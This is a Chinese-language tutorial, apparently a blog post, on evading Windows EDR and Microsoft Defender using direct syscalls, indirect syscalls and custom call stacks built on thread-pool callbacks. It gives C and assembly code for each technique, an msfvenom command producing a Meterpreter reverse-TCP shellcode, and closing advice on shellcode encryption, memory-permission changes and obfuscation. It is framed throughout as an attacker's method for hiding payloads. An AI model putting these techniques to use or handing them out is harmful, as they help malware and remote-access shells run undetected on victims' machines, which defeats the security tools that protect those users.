浅析-从系统调用到自定义堆栈
字数 1750 2025-09-01 11:26:02
从系统调用到自定义堆栈:EDR对抗技术详解
一、概述
本文详细讲解从传统系统调用到自定义堆栈调用的演化过程,涵盖直接系统调用(Direct Syscall)、间接调用(Indirect Syscall)以及自定义堆栈(Custom Call Stack)等技术。这些技术主要用于绕过EDR(终端检测与响应)产品的检测机制。
二、系统调用简史
1. Windows API层次结构
Windows操作系统中的API分为三个层次:
高级API
- 面向普通应用开发者
- 功能丰富,易用性强
- 示例:
VirtualAlloc - 调用路径:WinAPI → ntdll.dll → 内核syscall
- 最容易被EDR Hook的位置
中级API
- ntdll.dll中导出的以Nt或Zw开头的函数
- 示例:
NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx - 直接触发内核操作
- 可以绕过仅在kernel32.dll设置Hook的EDR
低级API
- 真正执行系统调用的部分
- 完全不依赖任何DLL
- 难以被Hook,隐蔽性高
- 需要手动构造系统调用
三、直接系统调用(Direct Syscall)
核心思想
完全跳过ntdll导出的函数封装,直接执行syscall指令
实现步骤
- 提取SSN(系统服务号)
- 构造syscall stub
- 完成参数压栈与寄存器传值
- 直接调用syscall指令
代码实现
ShellCode准备
# 使用msfconsole生成shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -f c
syscalls.h
#pragma once
#include <windows.h>
#define STATUS_SUCCESS 0
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
typedef NTSTATUS(NTAPI* _NtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
// 其他Nt函数声明...
main.c
#include "syscalls.h"
// 动态获取SSN
DWORD GetSSN(PVOID funcAddress) {
return *(PDWORD)((PBYTE)funcAddress + 0x4);
}
// 直接系统调用实现
NTSTATUS DirectSyscall_NtAllocateVirtualMemory(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
) {
// 获取SSN
DWORD ssn = GetSSN(NtAllocateVirtualMemory);
// 调用汇编实现的syscall stub
return NtAllocateVirtualMemory_ASM(
ProcessHandle,
BaseAddress,
ZeroBits,
RegionSize,
AllocationType,
Protect,
ssn
);
}
syscalls.asm
.code
NtAllocateVirtualMemory_ASM proc
mov r10, rcx
mov eax, [rsp+28h] ; 从栈上获取SSN
syscall
ret
NtAllocateVirtualMemory_ASM endp
end
检测风险
- syscall指令在非ntdll内存区域调用
- return指令位于非ntdll区域
- 调用stub、跳转、返回地址集中在同一非系统区域
- 这些特征都是明显的IOC(入侵指标)
四、间接系统调用(Indirect Syscall)
核心改进
syscall和return指令发生在ntdll的内存中,从ntdll内存指向间接系统调用程序集的内存
实现要点
- 不仅记录SSN,还需要记录系统调用指令地址
- 调用路径看起来更合法
代码实现
main.c
// 获取ntdll中syscall指令地址
PVOID GetSyscallAddress() {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
return (PVOID)((PBYTE)GetProcAddress(ntdll, "NtAllocateVirtualMemory") + 0x12);
}
NTSTATUS IndirectSyscall_NtAllocateVirtualMemory(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
) {
DWORD ssn = GetSSN(NtAllocateVirtualMemory);
PVOID syscallAddr = GetSyscallAddress();
return NtAllocateVirtualMemory_ASM(
ProcessHandle,
BaseAddress,
ZeroBits,
RegionSize,
AllocationType,
Protect,
ssn,
syscallAddr
);
}
syscalls.asm
NtAllocateVirtualMemory_ASM proc
mov r10, rcx
mov eax, [rsp+28h] ; SSN
jmp qword ptr [rsp+30h] ; 跳转到ntdll中的syscall指令
NtAllocateVirtualMemory_ASM endp
堆栈对比
- 间接系统调用:调用栈包含ntdll模块
- 直接系统调用:调用栈完全在自定义区域
五、自定义堆栈(Custom Call Stack)
技术背景
现代EDR会分析完整调用链和调用栈,仅靠直接/间接系统调用仍可能被检测
核心原理
利用Windows回调机制(如Threadpool Callback)构建合法调用路径
实现步骤
- 使用
TpAllocWork注册回调函数 - 在回调函数中构造寄存器和堆栈环境
- 跳转执行Nt函数
参数传递规范
- x64调用约定:前4个参数通过RCX,RDX,R8,R9传递
- 其余参数通过栈传递
- 需要预留32字节"homing space"
代码实现
main.c
typedef VOID(NTAPI* _TpAllocWork)(PTP_WORK* ptpWrk, PTP_WORK_CALLBACK pfnwkCallback, PVOID OptionalArg, PTP_CALLBACK_ENVIRON CallbackEnvironment);
VOID WorkCallback(PTP_CALLBACK_INSTANCE Instance, PVOID Context, PTP_WORK Work) {
// 从Context获取参数并执行系统调用
SyscallContext* ctx = (SyscallContext*)Context;
// 执行汇编代码
CustomStack_NtAllocateVirtualMemory(
ctx->ProcessHandle,
ctx->BaseAddress,
ctx->ZeroBits,
ctx->RegionSize,
ctx->AllocationType,
ctx->Protect,
ctx->Ssn,
ctx->SyscallAddr
);
}
void ExecuteWithCustomStack() {
// 初始化参数
SyscallContext ctx = { /* 填充参数 */ };
// 获取TpAllocWork地址
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
_TpAllocWork TpAllocWork = (_TpAllocWork)GetProcAddress(ntdll, "TpAllocWork");
// 创建工作项
PTP_WORK work = NULL;
TpAllocWork(&work, WorkCallback, &ctx, NULL);
// 提交工作项
SubmitThreadpoolWork(work);
WaitForThreadpoolWorkCallbacks(work, FALSE);
CloseThreadpoolWork(work);
}
syscalls.asm
CustomStack_NtAllocateVirtualMemory proc
mov r10, rcx
mov eax, [rsp+28h] ; SSN
jmp qword ptr [rsp+30h] ; 跳转到ntdll中的syscall指令
CustomStack_NtAllocateVirtualMemory endp
调用栈分析
- 合法起点:ntdll.dll → TppWorkCallback → WorkCallback
- 无RX区域参与或可疑DLL加载
- 大大降低检测可能性
六、对抗Microsoft Defender的额外措施
-
Shellcode加密:
- 避免使用简单XOR加密
- 使用更复杂的加密算法和密钥
-
内存权限控制:
- 初始分配使用
PAGE_READWRITE - 写入后改为
PAGE_EXECUTE_READ - 避免使用
PAGE_EXECUTE_READWRITE
- 初始分配使用
-
函数名混淆:
- 加密或动态解析Nt函数名称
- 避免硬编码敏感字符串
-
代码结构混淆:
- 使用SysWhispers2等工具生成代码
- 使反编译结果与实际结构差异大
七、总结
| 技术 | 优点 | 缺点 | 检测难度 |
|---|---|---|---|
| 直接系统调用 | 完全绕过用户态Hook | 调用栈异常明显 | 较易 |
| 间接系统调用 | 部分调用栈合法 | 仍可能被完整调用链分析检测 | 中等 |
| 自定义堆栈 | 完整合法调用链 | 实现复杂 | 较难 |
在实际对抗中,需要根据目标EDR的能力选择适当的技术组合,并结合其他混淆和反检测措施。